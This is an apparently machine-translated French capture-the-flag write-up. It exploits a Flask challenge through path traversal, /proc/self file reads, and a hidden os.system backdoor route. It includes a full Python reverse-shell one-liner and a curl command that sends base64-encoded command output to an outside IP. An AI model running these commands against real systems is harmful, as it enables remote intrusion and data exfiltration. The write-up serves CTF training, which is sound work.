Points de connaissance
- Lecture de fichier
- Descripteur de fichier
- Audit de code Python
- Coque inversée
WP
De manière générale, c'est encore un sujet relativement simple. L'endroit toxique est l'URL. Je suis bloqué sur cette URL. Je pensais vraiment que c'était un SSRF. Je ne voulais pas essayer de lire le fichier directement dans le passé. Je je ne m'attendais pas à ce que ce soit vrai.:
?url=../../../../../etc/passwd
Vous pouvez lire des choses. Bien que j'aie également essayé d'utiliser le fichier, mais je n'ai rien lu, il semble être filtré, ou j'ai une mauvaise compréhension des connaissances de base.
Vous pouvez lire le fichier après l'avoir lu, puis vous constatez que vous lisez directement l'indicateur. . . . :
?url=../../../../../flag
C'est une question environnementale, le fichier des drapeaux se trouve ailleurs pendant la compétition de la Netding Cup.
La façon normale de penser est certainement de lire ceci:
/proc/self/environ
/proc/self/cmdline
Vous pouvez le lire python2 app.py
, puis lisons-le/proc/self/cwd/app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Un petit audit du code, ou l'inspection du descripteur de fichier, la clé peut être /proc/self/fd/3
lue dedans, puis passer le mot de passe et le shell, et elle peut être exécutée. Mais le problème est qu'il n'y a pas de réponse, il y a deux manières de répondre à cette question. L'un est le shell inversé direct en python:
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ensuite, lisez simplement le drapeau directement:
il existe un autre type de shell inversé curl:
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`
Comme il y a une nouvelle ligne dans le résultat, seul le contenu de la première ligne peut être affiché dans le journal, il doit donc être chiffré une fois avec base64:
vous pouvez obtenir le contenu de l'exécution de la commande terminée en le chiffrant à nouveau, et vous pouvez obtenir le drapeau.